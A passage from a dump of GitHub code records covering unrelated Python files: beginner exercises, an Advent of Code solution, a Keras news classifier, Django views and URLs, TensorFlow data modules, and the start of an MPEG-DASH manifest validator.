else:\n if dado[1] > totmai:\n totmai = dado[1]\n if dado[1] < totmen:\n totmen = dado[1]\n pessoas.append(dado[:])\n dado.clear()\n resp = str(input('Deseja adicionar outra pessoa? [S/N] '))\n if resp in 'Nn':\n break\nprint(f'O total de pessoas cadastradas: {len(pessoas)}.')\nprint(f'Maior peso foi: {totmai}Kg dos cadastrados: ', end='')\nfor p in pessoas:\n if p[1] == totmai:\n print(f'[{p[0]}] ', end='')\nprint()\nprint(f'Menor peso foi: {totmen}Kg dos cadastrados: ', end='')\nfor p in pessoas:\n if p[1] == totmen:\n print(f'[{p[0]}] ', end='')\n","repo_name":"LeandroPAlmeida/Exercicios","sub_path":"ex084.py","file_name":"ex084.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37204516907","text":"# with open('inputs/test.txt') as input_file:\n# with open('inputs/test2.txt') as input_file:\nwith open('inputs/1.txt') as input_file:\n lines = list([int(line) for line in input_file.read().splitlines()])\n\n# print(lines)\n\nlines.append(0)\nlines = sorted(lines)\nlines.append(max(lines)+3)\n# print(lines)\nd1 = 0\nd3 = 0\nfor i in range(len(lines)-1):\n d = lines[i+1] - lines[i]\n if d == 1:\n d1 += 1\n elif d==3:\n d3 += 1\n\nnwayas = {}\ndef dp(i):\n if i == len(lines)-1:\n return 1\n if i in nwayas:\n return nwayas[i]\n res = 0\n # print(len(lines))\n for j in range(i+1, len(lines)):\n if lines[j] - lines[i] <= 3:\n # print(dp(j))\n res += dp(j)\n nwayas[i] = res\n # print(d)\n return res\n\nprint('Part 1:', d1, d3, d1*d3)\nprint('Part 2:', dp(0))","repo_name":"cimerson/aoc2020","sub_path":"day10/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"36299606215","text":"import sys\r\nimport os\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nfrom model.network import GNet, DNet\r\n\r\nfrom loss import LeastSquare\r\n\r\nclass PGGAN():\r\n def __init__(self,\r\n channel_scale_0=512,\r\n dim_output=3,\r\n leakyReLU_slope=0.2,\r\n learningRate=0.001):\r\n self.GNet = GNet(channel_scale_0, dim_output, leakyReLU_slope)\r\n self.DNet = DNet(channel_scale_0, dim_output, leakyReLU_slope)\r\n self.criterion = LeastSquare\r\n self.OptG = torch.optim.Adam(self.GNet.parameters(), lr=learningRate, betas=[0,0.99],eps=10e-9,weight_decay=0.999)\r\n self.OptD = torch.optim.Adam(self.DNet.parameters(), lr=learningRate, betas=[0,0.99],eps=10e-9,weight_decay=0.999)\r\n \r\n def AddScale(self, new_channel):\r\n self.GNet.AddScale(new_channel)\r\n self.DNet.AddScale(new_channel)\r\n \r\n def SetAlpha(self, new_alpha):\r\n self.GNet.SetAlpha(new_alpha)\r\n self.DNet.SetAlpha(new_alpha)\r\n \r\n def ToDevice(self,device):\r\n self.GNet.to(device)\r\n self.DNet.to(device)\r\n \r\n def train(self):\r\n self.GNet.train()\r\n self.DNet.train()\r\n\r\n def val(self):\r\n self.GNet.val()\r\n self.DNet.val()\r\n","repo_name":"jinhan814/PyTorch-GAN-Study","sub_path":"PGGAN/model/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"42758990239","text":"# (1) Imports\r\nimport os\r\nimport sys\r\nimport numpy as np\r\nimport pandas as pd\r\nimport tensorflow\r\nfrom tensorflow import keras\r\nfrom tensorflow.keras.utils import to_categorical\r\nfrom keras.preprocessing.text import Tokenizer\r\nfrom keras_preprocessing.sequence import pad_sequences\r\nfrom keras.layers import Embedding\r\nfrom keras.layers import Dense, Input, GlobalMaxPooling1D\r\nfrom keras.layers import Conv1D, MaxPooling1D, Embedding, Flatten\r\nfrom keras.models import Model\r\n\r\n##Phase 1\r\n\r\n#(2) Load dataset\r\nprint('Processing text dataset')\r\narticles = [] # list of text samples\r\nlabels_index = {} # dictionary mapping label name to numeric id\r\nTopic_ID = [] # list of label ids\r\n\r\n#(2) Load dataset and giving every topic id & datafram\r\ndataframe = pd.read_csv(\"news-article-categories.csv\")\r\nX_data=dataframe.iloc[:,[2]]\r\nY_data=dataframe.iloc[:,[0]]\r\nnews_labels = dataframe['category'].unique()\r\n\r\nfor i in news_labels:\r\n label_id = len(labels_index)\r\n labels_index[i] = label_id\r\n\r\ndef condition(x):\r\n if x == \"BUSINESS\":\r\n return 0\r\n elif x == \"POLITICS\":\r\n return 1\r\n elif x == \"SPORTS\":\r\n return 2\r\n else:\r\n return 3\r\ndataframe[\"Topic_ID\"] = dataframe[\"category\"].apply(\r\n condition\r\n)\r\nTopic_ID = list(dataframe[\"Topic_ID\"])\r\n\r\n#(3) Process Text samples\r\nMAX_SEQUENCE_LENGTH = 1000\r\nMAX_NUM_WORDS = 40000\r\n\r\n#converting to list of articles\r\ntexts_list = X_data.values.tolist()\r\ntexts=[]\r\nfor i in texts_list:\r\n texts.append(i[0])\r\n#print(texts[0])\r\n\r\ntokenizer = Tokenizer(num_words=MAX_NUM_WORDS)\r\ntokenizer.fit_on_texts(texts)\r\nsequences = tokenizer.texts_to_sequences(texts)\r\nword_index = tokenizer.word_index # the dictionary\r\ndata = pad_sequences(sequences, maxlen=MAX_SEQUENCE_LENGTH)\r\n\r\n# (4) format output of the CNN (the shape of labels)\r\nlabels_matrix = to_categorical(np.asarray(Topic_ID)) #matrix of every article corspnding to its topic column\r\n\r\n#(5) Split samples and labels to training and testing sets\r\nTEST_SPLIT = 0.2\r\nindices = np.arange(data.shape[0]) #array of indices [0, 1, .....,1502]\r\nnp.random.shuffle(indices)\r\ndata_shuffled = data[indices]\r\nlabels_shuffled = labels_matrix[indices]\r\nnb_test_samples = int(TEST_SPLIT * data_shuffled.shape[0])\r\nx_train = data_shuffled[:-nb_test_samples]\r\ny_train = labels_shuffled[:-nb_test_samples]\r\nx_test = data_shuffled[-nb_test_samples:]\r\ny_test = labels_shuffled[-nb_test_samples:]\r\n\r\n\r\n# (6) Read Glove Word Embeddings\r\nEMBEDDING_DIM = 100\r\nembeddings_index = {}\r\nglove_file_path = os.path.join('glove.6B\\\\', 'glove.6B.100d.txt')\r\nwith open(glove_file_path, encoding='UTF8') as f:\r\n for line in f:\r\n values = line.split(sep=' ')\r\n word = values[0]\r\n coefs = np.asarray(values[1:], dtype='float32')\r\n embeddings_index[word] = coefs\r\n\r\n# (7) Map the dataset dictionary of (words,IDs) to a matrix of the\r\n# embeddings of each word in the dictionary\r\nembedding_matrix = np.zeros((len(word_index) + 1, EMBEDDING_DIM))#+1 to include the zeros vector for non-existing words\r\nfor word, i in word_index.items():\r\n embedding_vector = embeddings_index.get(word)\r\n if embedding_vector is not None:\r\n # words not found in embedding index will be all-zeros.\r\n embedding_matrix[i] = embedding_vector\r\n\r\n# (8.1) Embedding Layer\r\nembedding_layer = Embedding(len(word_index) + 1, #vocab size\r\nEMBEDDING_DIM, #embedding vector size\r\nweights=[embedding_matrix],\r\n#weights matrix\r\ninput_length=MAX_SEQUENCE_LENGTH, #padded sequence length\r\ntrainable=False)\r\n\r\n# (8.2) Build 1D CNN Layers\r\nsequence_input = Input(shape=(MAX_SEQUENCE_LENGTH,), dtype='int32')\r\nembedded_sequences = embedding_layer(sequence_input)\r\nx = Conv1D(128, 5, activation='relu')(embedded_sequences)\r\nx = MaxPooling1D(5)(x)\r\nx = Conv1D(64, 5, activation='relu')(x)\r\nx = MaxPooling1D(35)(x) # global max pooling\r\nx = Flatten()(x)\r\nx = Dense(128, activation='relu')(x)\r\npreds = Dense(len(labels_index), activation='softmax')(x)\r\n\r\n# (8.3) Build, Compile, and Run the model\r\nmodel = Model(sequence_input, preds)\r\nmodel.compile(loss='categorical_crossentropy', optimizer='rmsprop', metrics=['acc'])\r\n\r\n# happy learning!\r\nmodel.fit(x_train, y_train, validation_data=(x_test, y_test), epochs = 5)\r\n\r\n# (8.4) Evaluate the model\r\nprint('Acuracy on testing set:')\r\nmodel.evaluate(x_test,y_test)\r\n\r\n#(9) Use the model for prediction\r\nmodel.predict(x_test)\r\n\r\n\"\"\"------------------------------------------------------------------------------\"\"\"\r\n##Phase 2\r\nn = int(input(\"Enter number of tests: \"))\r\nfor i in range(n):\r\n test_str = input(\"Enter the post: \")\r\n texts = []\r\n texts.append(test_str)\r\n sequences = tokenizer.texts_to_sequences(texts)\r\n data = pad_sequences(sequences, maxlen=MAX_SEQUENCE_LENGTH)\r\n label_vec = model.predict(data.reshape(1,-1))\r\n label_id = np.argmax(label_vec)\r\n label_name = ''\r\n for name, ID in labels_index.items(): # for name, age in dictionary.iteritems():\r\n if label_id == ID:\r\n label_name = name\r\n break\r\n print ('The category of article is %s' %(label_name))","repo_name":"hossammohamed26/Deep-NLP-Text-Classifier","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28537724265","text":"import re\ntexto = \"lorem ipsum dolor sit amet, lorem consectetur adipisicing elit. Nam vero lorem \"\n\npatron = 'lorem'\n\nbusqueda = re.findall(patron, texto)\n\nprint(busqueda)\n\nfor hallazgo in re.finditer(patron,texto):\n print(hallazgo.span())","repo_name":"sergio-cho/curso_python","sub_path":"Day 9/modulo re.py","file_name":"modulo re.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28085271645","text":"from collections import defaultdict\n\nedges = defaultdict(list)\nV = int(input())\nfor vertex in range(2, V + 1):\n parent = int(input())\n edges[parent].append(vertex)\n\ndef is_spruce(parent):\n leafs = 0\n for child in edges[parent]:\n if child in edges: \n if not is_spruce(child):\n return False\n else:\n leafs += 1\n return leafs >= 3\n\nprint(\"Yes\" if is_spruce(1) else \"No\")\n","repo_name":"bryand1/solutions","sub_path":"codeforces/contest/913/B/spruce2.py","file_name":"spruce2.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29101279197","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\n@author: timpr\n\"\"\"\nimport robin_stocks as r\n\nfrom modules.application_login import login\nfrom modules.get_history import get_order_history\nfrom modules.build_etf_lists import build_etf_lists\nfrom modules.build_dividend_lists import build_dividend_lists\nfrom modules.etf_fees import get_fee_data\nfrom modules.plot_generator import generate_plots\n\n# No interface for this one, only want users to be entering their RH password if they are comfortable with opening\n# the code up in python and looking at it themself\n\nif __name__ == \"__main__\":\n \n # Prompt user to enter login credentials to get access to the app\n login = login() \n \n # Obtain purchase and sale history data, convert dates to required format\n order_value_list, portfolio_dict = get_order_history()\n \n # Obtain equivalent etf purchases/sales on dates of orders\n dow_orders, sp500_orders, nasdaq_orders, totalmarket_orders = build_etf_lists(order_value_list)\n \n # Obtain dividend history for ETFs\n dow_dividends, sp500_dividends, nasdaq_dividends, totalmarket_dividends, portfolio_dividend_dict = build_dividend_lists(portfolio_dict)\n \n # Obtain annual fee data for ETFs\n dow_fees, sp500_fees, nasdaq_fees, totalmarket_fees = get_fee_data()\n \n # Develop plot data and output summary statistics\n generate_plots(\n dow_orders, \n sp500_orders, \n nasdaq_orders, \n totalmarket_orders,\n dow_dividends, \n sp500_dividends, \n nasdaq_dividends, \n totalmarket_dividends,\n dow_fees, \n sp500_fees, \n nasdaq_fees, \n totalmarket_fees,\n portfolio_dict,\n portfolio_dividend_dict\n ) \n \n r.authentication.logout()\n ","repo_name":"Timpryor91/robinhood_portfolio_check","sub_path":"run_program.py","file_name":"run_program.py","file_ext":"py","file_size_in_byte":1942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"36244224648","text":"from pprint import pprint\n\nfrom django.contrib.auth.mixins import PermissionRequiredMixin\nfrom django.http import JsonResponse\nfrom django.views import View\n\nfrom utils.classes import TermalPrint\n\nimport lotes.models\n\nfrom cd.classes.palete import Plt\nfrom cd.queries.palete import query_palete\n\n\nclass PaletePrint(PermissionRequiredMixin, View):\n\n def __init__(self) -> None:\n self.permission_required = 'cd.imprime_etq_palete'\n self.impresso = 'etiqueta-de-palete'\n\n def verifica_impresso(self):\n try:\n self.obj_impresso = lotes.models.Impresso.objects.get(\n slug=self.impresso)\n self.context.update({\n 'cod_impresso': self.obj_impresso.nome,\n })\n return True\n except lotes.models.Impresso.DoesNotExist:\n self.context.update({\n \"mensagem\": f\"Impresso '{self.impresso}'não cadastrado\",\n })\n return False\n\n def verifica_usuario_impresso(self):\n try:\n self.usuario_impresso = lotes.models.UsuarioImpresso.objects.get(\n usuario=self.request.user, impresso=self.obj_impresso)\n self.context.update({\n 'modelo': self.usuario_impresso.modelo.codigo,\n })\n return True\n except TypeError:\n self.context.update({\n 'msg_erro': 'Usuário não logado',\n })\n return False\n except lotes.models.UsuarioImpresso.DoesNotExist:\n self.context.update({\n 'msg_erro': 'Impresso não cadastrado para o usuário',\n })\n return False\n\n def print(self):\n if not all([\n self.verifica_impresso(),\n self.verifica_usuario_impresso(),]):\n return False\n\n teg = TermalPrint(\n self.usuario_impresso.impressora_termica.nome,\n file_dir=f\"impresso/{self.impresso}/%Y/%m\"\n )\n teg.template(self.usuario_impresso.modelo.gabarito, '\\r\\n')\n teg.printer_start()\n try:\n for row in self.data:\n teg.context(row)\n teg.printer_send(self.copias)\n finally:\n teg.printer_end()\n\n\n return True\n\n def mount_context(self):\n if self.code:\n try:\n code_ok = Plt(self.code).verify()\n except ValueError:\n code_ok = False\n if not code_ok:\n self.context.update({\n 'result': 'ERRO',\n 'state': 'Código inválido',\n })\n return\n\n self.context.update({\n 'code': self.code,\n })\n\n self.data = [{\n 'palete': self.code\n }]\n\n else:\n self.data = query_palete('N', 'A')\n if not self.data:\n self.context.update({\n 'result': 'ERRO',\n 'state': 'Nada a imprimir',\n })\n return\n\n if self.print():\n self.context.update({\n 'result': 'OK',\n 'state': 'OK!',\n })\n else:\n self.context.update({\n 'result': 'ERRO',\n 'state': 'Erro ao imprimir',\n })\n\n def get(self, request, *args, **kwargs):\n self.copias = (\n kwargs['copias']\n if 'copias' in kwargs and kwargs['copias']\n else 1\n )\n self.code = kwargs['code'] if 'code' in kwargs else None\n self.context = {}\n self.mount_context()\n return JsonResponse(self.context, safe=False)\n","repo_name":"anselmobd/fo2","sub_path":"src/cd/views/api/palete/print.py","file_name":"print.py","file_ext":"py","file_size_in_byte":3702,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29233691756","text":"from sys import stdin\nt = int(input())\nfor _ in range(t):\n n = int(stdin.readline())\n totPro = 0\n for _ in range(n):\n proList = list(map(int, stdin.readline().strip().split()))\n maxPro = max(proList) if max(proList) >= 0 else 0\n totPro += maxPro\n print(totPro)\n","repo_name":"codingNoob12/algorithm-study","sub_path":"BOJ/bronze3/2022-11-22/13416.py","file_name":"13416.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"22814988677","text":"import os\n\n# os.path.join('Users', 'robertdomingo', 'stp', 'ch09.py')\n\n# I could use pwd, but I guess this is to make sure that the path works on both\n# Windows and Unix-like operating systems\n\nwith open(\"st.txt\", \"w\") as f:\n f.write(\"Hi from Python!\")\n\nwith open(\"st.txt\", \"r\") as f:\n print(f.read())\n\nimport csv\n\nwith open(\"st.csv\", \"w\", newline='') as f:\n w = csv.writer(f, delimiter=\",\")\n w.writerow([\"one\", \"two\", \"three\"])\n w.writerow([\"four\", \"five\", \"six\"])\n\nwith open(\"st.csv\", \"r\") as f:\n r = csv.reader(f, delimiter=\",\")\n for row in r:\n print(\",\".join(row))\n\np = os.path.join('Users', 'robertdomingo', 'stp', 'st.txt')\nprint(p)\n\n# Challenge 1\n\nwith open(\"st.txt\", \"r\") as f:\n print(f.read())\n\n# Challenge 2\n\nfavorite_movie_response = input(\"What's your favorite movie? \")\n\nwith open(\"favorite_movies.txt\", \"w\") as f:\n f.write(favorite_movie_response)\n\nwith open(\"favorite_movies.txt\", \"r\") as f:\n print(f.read())\n\n# Challenge 3\n\nmovies = [[\"Top Gun\", \"Risky Business\", \"Minority Report\"], [\"Titanic\", \"The Revenant\", \"Inception\"], [\"Training Day\", \"Man on Fire\", \"Flight\"]]\n\n# generate a CSV file\n# each row in the CSV file is a list in the list of lists\n\n# import csv\n\nwith open(\"movie_star_movies.csv\", \"w\", newline='') as f:\n w = csv.writer(f, delimiter=\",\")\n for imdb in movies:\n w.writerow(imdb)\n\nwith open(\"movie_star_movies.csv\", \"r\") as f:\n r = csv.reader(f, delimiter=\",\")\n for row in r:\n print(\",\".join(row))\n","repo_name":"robdom/cuddly-lamp","sub_path":"ch09.py","file_name":"ch09.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25721493327","text":"from sklearn.model_selection import train_test_split\r\nimport os\r\nimport pickle\r\nimport numpy as np\r\nimport tensorflow as tf\r\nfrom src.data.dataset.VideoDatasetV3 import VideoDatasetV3\r\n\r\n\r\nclass VideoDataModuleV3():\r\n def __init__(self, label_dir, video_dir, batch_size=32, transforms=None):\r\n self.batch_size = batch_size\r\n self.label_dir = label_dir\r\n self.video_dir = video_dir\r\n self.train_generator = self.val_generator = self.test_generator = None\r\n self.train_filenames = self.val_filenames = self.test_filenames = []\r\n self.transforms = transforms\r\n\r\n self.ot = (tf.float32, tf.float32)\r\n self.os = None\r\n\r\n def prepare_data(self) -> None:\r\n self.train_filenames = [f'train/{filename.split(\".\")[0]}' for filename in os.listdir(f\"{self.video_dir}/train\")]\r\n self.test_filenames = [f'test/{filename.split(\".\")[0]}' for filename in os.listdir(f\"{self.video_dir}/test\")]\r\n self.val_filenames = [f'val/{filename.split(\".\")[0]}' for filename in os.listdir(f\"{self.video_dir}/val\")]\r\n\r\n def setup(self, stage: str = None) -> None:\r\n if stage == \"fit\":\r\n self.train_generator = VideoDatasetV3(\r\n label_dir=self.label_dir,\r\n video_dir=self.video_dir,\r\n filenames=self.train_filenames,\r\n transforms=self.transforms\r\n )\r\n self.val_generator = VideoDatasetV3(\r\n label_dir=self.label_dir,\r\n video_dir=self.video_dir,\r\n filenames=self.val_filenames,\r\n transforms=self.transforms\r\n )\r\n if stage == \"test\":\r\n self.test_generator = VideoDatasetV3(\r\n label_dir=self.label_dir,\r\n video_dir=self.video_dir,\r\n filenames=self.test_filenames,\r\n transforms=self.transforms\r\n )\r\n \r\n def update_os(self, input_shape, output_shape):\r\n self.os = (\r\n tf.TensorSpec(shape=input_shape, dtype=tf.float32),\r\n tf.TensorSpec(shape=output_shape, dtype=tf.float32)\r\n )\r\n \r\n def train_dataset(self):\r\n # print(self.os)\r\n ds = tf.data.Dataset.from_generator(self.train_generator, output_signature=self.os)\r\n # ds = ds.prefetch(1)\r\n ds = ds.batch(self.batch_size)\r\n return ds\r\n\r\n def val_dataset(self):\r\n ds = tf.data.Dataset.from_generator(self.val_generator, output_signature=self.os)\r\n # ds = ds.prefetch(1)\r\n ds = ds.batch(self.batch_size)\r\n return ds\r\n\r\n def test_dataset(self):\r\n ds = tf.data.Dataset.from_generator(self.test_generator, output_signature=self.os)\r\n # ds = ds.prefetch(1)\r\n ds = ds.batch(self.batch_size)\r\n return ds","repo_name":"christianchenn/ILMSG-Webservice","sub_path":"src/data/module/VisualDataModuleV3.py","file_name":"VisualDataModuleV3.py","file_ext":"py","file_size_in_byte":2808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28245197606","text":"from django import forms\nfrom django.db.models import fields\nfrom .models import Student\n\n\nclass StudentForm(forms.ModelForm):\n class Meta:\n model = Student\n fields = ['username', 'contact_no', 'parent_name', 'parent_phone_no', 'city', 'country', 'about', 'profile']\n \n def __init__(self, *args, **kwargs):\n super(StudentForm, self).__init__(*args, **kwargs)\n for visible in self.visible_fields():\n visible.field.widget.attrs['class'] = 'form-control'\n visible.field.widget.attrs['placeholder'] = visible.field.label\n \n \n\n ","repo_name":"Saidimukasa/Learning-Management-System","sub_path":"student/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"23229237850","text":"from typing import Optional\n\nfrom sqlalchemy import select, insert\nfrom sqlalchemy.ext.asyncio import AsyncSession\n\nfrom bot.user.models import Role, users_roles\n\n\nasync def get_role_by_codename(session: AsyncSession, codename: str) -> Optional[Role]:\n query = select(Role).where(Role.codename == codename)\n result = await session.execute(query)\n return result.scalars().first()\n\n\nasync def create_role(session: AsyncSession, codename: str, description: Optional[str] = None) -> Role:\n role = Role(codename=codename, description=description)\n session.add(role)\n return role\n\n\nasync def add_role_to_user(session: AsyncSession, codename: str, user_id: int) -> None:\n role_id_subquery = select(Role.id).where(Role.codename == codename).subquery()\n query = insert(users_roles).values(user=user_id, role=role_id_subquery)\n await session.execute(query)\n","repo_name":"Bloodielie/trip_counter","sub_path":"bot/user/services/role.py","file_name":"role.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"22872632679","text":"#https://leetcode.com/problems/non-overlapping-intervals/\n#time O(NlogN) space O(1)\nclass Solution:\n def eraseOverlapIntervals(self, intervals: List[List[int]]) -> int:\n n = len(intervals)\n if n == 0:\n return 0\n ans = 0\n intervals.sort()\n start = intervals[0][0]\n end = intervals[0][1]\n for i in range(1,n):\n if intervals[i][0][A-Za-z0-9-]+)/$', RecommendedPrice),\n url(r'^instantquote/(?P[A-Za-z0-9-]+)/$', InstantQuoting),\n #Get avaliable pages\n url(r'^sockjs-node/', ReactHotload, name=\"dealing_with_react_hotloading\"),\n #Get avaliable models\n #modelWesbite app to create rest api\n url(r'^api/', include('modelWebsite.urls', namespace=\"api\")),\n #user imports\n url(r'^users/', include('user.urls', namespace=\"user\")),\n #Catch statements for React\n url(r'^$', Index, name='index'),\n url(r'^(?P\\S+)/$', Index, name='index'),\n url(r'^(?P\\S+)/$', Index, name='index'),\n url(r'^(?P\\S+)/(?P\\S+)/$', Index, name='index'),\n url(r'^(?P\\S+)/(?P\\S+)/(?P\\S+)/$', Index, name='index'),\n url(r'^(?P\\S+)/(?P\\S+)/(?P\\S+)/(?P\\S+)/$', Index, name='index'),\n url(r'^(?P\\S+)/(?P\\S+)/(?P\\S+)/(?P\\S+)/(?P\\S+)/$', Index, name='index'),\n url(r'^(?P\\S+)/(?P\\S+)/(?P\\S+)/(?P\\S+)/(?P\\S+)/(?P\\S+)/$', Index, name='index'),\n\n] + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n\n\nhandler404 = 'home.views.NotFoundHandler'\nhandler500 = 'home.views.ErrorPage'\nhandler403 = 'home.views.PermissionDenied'\nhandler400 = 'home.views.BadRequest'\n","repo_name":"coreywiley/WatchTicker","sub_path":"ComponentMadness/home/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28824994676","text":"#############################################################################\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n#############################################################################\n#\n# Project Name : Simulated MPEG DASH service\n#\n# Author : Alex Ashley\n#\n#############################################################################\n\nfrom abc import ABCMeta, abstractmethod\nimport base64\nimport collections\nimport datetime\nimport json\nimport logging\nimport math\nimport os\nimport re\nimport time\nimport traceback\nimport urlparse\nimport xml.etree.ElementTree as ET\n\nfrom drm.playready import PlayReady\nfrom testcase.mixin import HideMixinsFilter, TestCaseMixin\nfrom mpeg import MPEG_TIMEBASE, mp4\nimport scte35\nfrom utils.date_time import from_isodatetime, scale_timedelta, toIsoDateTime, UTC\nfrom utils.binary import Binary\nfrom utils.buffered_reader import BufferedReader\n\nclass ValidatorOptions(object):\n \"\"\"\n Options that can be passed to the DASH validator\n \"\"\"\n def __init__(self, strict=True, encrypted=False, save=False, iv_size=None,\n duration=None, prefix=None):\n self.strict = strict\n self.encrypted = encrypted\n self.save = save\n self.iv_size = iv_size\n self.start_time = RelaxedDateTime.now(UTC())\n self.duration = duration\n self.prefix = prefix\n\n\nclass RelaxedDateTime(datetime.datetime):\n def replace(self, **kwargs):\n if kwargs.get('hour', 0) > 23 and kwargs.get('day') is None:\n kwargs['day'] = self.day + kwargs['hour'] // 24\n kwargs['hour'] = kwargs['hour'] % 24\n return super(RelaxedDateTime, self).replace(**kwargs)\n\n\nclass ValidationException(Exception):\n def __init__(self, args):\n super(ValidationException, self).__init__(args)\n\n\nclass MissingSegmentException(ValidationException):\n def __init__(self, url, response):\n msg = 'Failed to get segment: {0:d} {1} {2}'.format(\n response.status_int, response.status, url)\n super(\n MissingSegmentException, self).__init__(\n (msg, url, response.status))\n self.url = url\n self.status = response.status_int\n self.reason = response.status\n\n\nclass HttpClient(TestCaseMixin):\n __metaclass__ = ABCMeta\n\n @abstractmethod\n def get(self, url, headers=None, params=None, status=None, xhr=False):\n raise Exception(\"Not implemented\")\n\n\nclass ContextAdapter(logging.LoggerAdapter):\n def process(self, msg, kwargs):\n url = getattr(self.extra, \"url\", None)\n if url is not None and 'http' not in msg:\n return '%s\\n \"%s\"\\n' % (msg, url), kwargs\n return msg, kwargs\n\n\nclass DashElement(TestCaseMixin):\n __metaclass__ = ABCMeta\n\n class Parent(object):\n pass\n xmlNamespaces = {\n 'cenc': 'urn:mpeg:cenc:2013',\n 'dash': 'urn:mpeg:dash:schema:mpd:2011',\n 'mspr': 'urn:microsoft:playready',\n 'scte35': \"http://www.scte.org/schemas/35/2016\",\n 'xsi': 'http://www.w3.org/2001/XMLSchema-instance',\n 'prh': 'http://schemas.microsoft.com/DRM/2007/03/PlayReadyHeader',\n '': 'urn:mpeg:dash:schema:mpd:2011',\n }\n\n attributes = []\n\n def __init__(self, elt, parent, options=None, url=None):\n self.parent = parent\n self.url = url\n if parent:\n self.mode = parent.mode\n self.url = parent.url\n self.validator = getattr(parent, \"validator\")\n self.options = parent.options\n self.http = parent.http\n self.errors = parent.errors\n self.filenames = parent.filenames\n else:\n assert options is not None\n self.options = options\n self.errors = []\n self.filenames = set()\n # self.log = logging.getLogger(self.classname())\n # log.addFilter(mixins.HideMixinsFilter())\n self.log = ContextAdapter(self.options.log, self)\n self.log.setLevel = self.options.log.setLevel\n self.baseurl = None\n self.ID = None\n if elt is not None:\n base = elt.findall('./dash:BaseURL', self.xmlNamespaces)\n if len(base):\n self.baseurl = base[0].text\n if self.parent and not self.baseurl.startswith('http'):\n self.baseurl = urlparse.urljoin(\n parent.baseurl, self.baseurl)\n elif parent:\n self.baseurl = parent.baseurl\n self.ID = elt.get('id')\n if self.ID is None:\n self.ID = str(id(self))\n self.parse_attributes(elt, self.attributes)\n\n def parse_attributes(self, elt, attributes):\n for name, conv, dflt in attributes:\n if ':' in name:\n ns, nm = name.split(':')\n name = nm\n val = elt.get(\"{{{0}}}{1}\".format(self.xmlNamespaces[ns], nm))\n else:\n val = elt.get(name)\n if val is not None:\n try:\n val = conv(val)\n except (ValueError) as err:\n self.log.error('Attribute \"%s@%s\" has invalid value \"%s\": %s',\n self.classname(), name, val, err)\n print(ET.tostring(elt))\n raise\n elif dflt == DashElement.Parent:\n val = getattr(self.parent, name, None)\n else:\n val = dflt\n setattr(self, name, val)\n\n def dump_attributes(self):\n for item in self.attributes:\n self.log.debug(\n '%s=\"%s\"', item[0], str(\n getattr(\n self, item[0], None)))\n\n @property\n def mpd(self):\n if self.parent:\n return self.parent.mpd\n return self\n\n @classmethod\n def init_xml_namespaces(clz):\n for prefix, url in clz.xmlNamespaces.iteritems():\n ET.register_namespace(prefix, url)\n\n @abstractmethod\n def validate(self, depth=-1):\n raise Exception(\"Not implemented\")\n\n def unique_id(self):\n rv = [self.classname(), self.ID]\n p = self.parent\n while p is not None:\n rv.append(p.ID)\n p = p.parent\n return '/'.join(rv)\n\n def _check_true(self, result, a, b, msg, template):\n if not result:\n if msg is None:\n msg = template.format(a, b)\n if self.options.strict:\n raise AssertionError(msg)\n self.log.warning('%s', msg)\n self.errors.append(msg)\n\n def output_filename(self, default, bandwidth, prefix=None, filename=None, makedirs=False):\n if filename is None:\n filename = self.url\n if filename.startswith('http:'):\n parts = urlparse.urlsplit(filename)\n head, tail = os.path.split(parts.path)\n if tail and tail[0] != '.':\n filename = tail\n else:\n filename = default\n else:\n head, tail = os.path.split(filename)\n if tail:\n filename = tail\n if '?' in filename:\n filename = filename.split('?')[0]\n if '#' in filename:\n filename = filename.split('#')[0]\n root, ext = os.path.splitext(filename)\n if root == '':\n root, ext = os.path.splitext(default)\n now = self.options.start_time.replace(microsecond=0)\n dest = os.path.join(self.options.dest,\n toIsoDateTime(now).replace(':', '-'))\n if prefix is not None and bandwidth is not None:\n filename = '{0}_{1}.mp4'.format(prefix, bandwidth)\n else:\n filename = ''.join([root, ext])\n self.log.debug('dest=%s, filename=%s', dest, 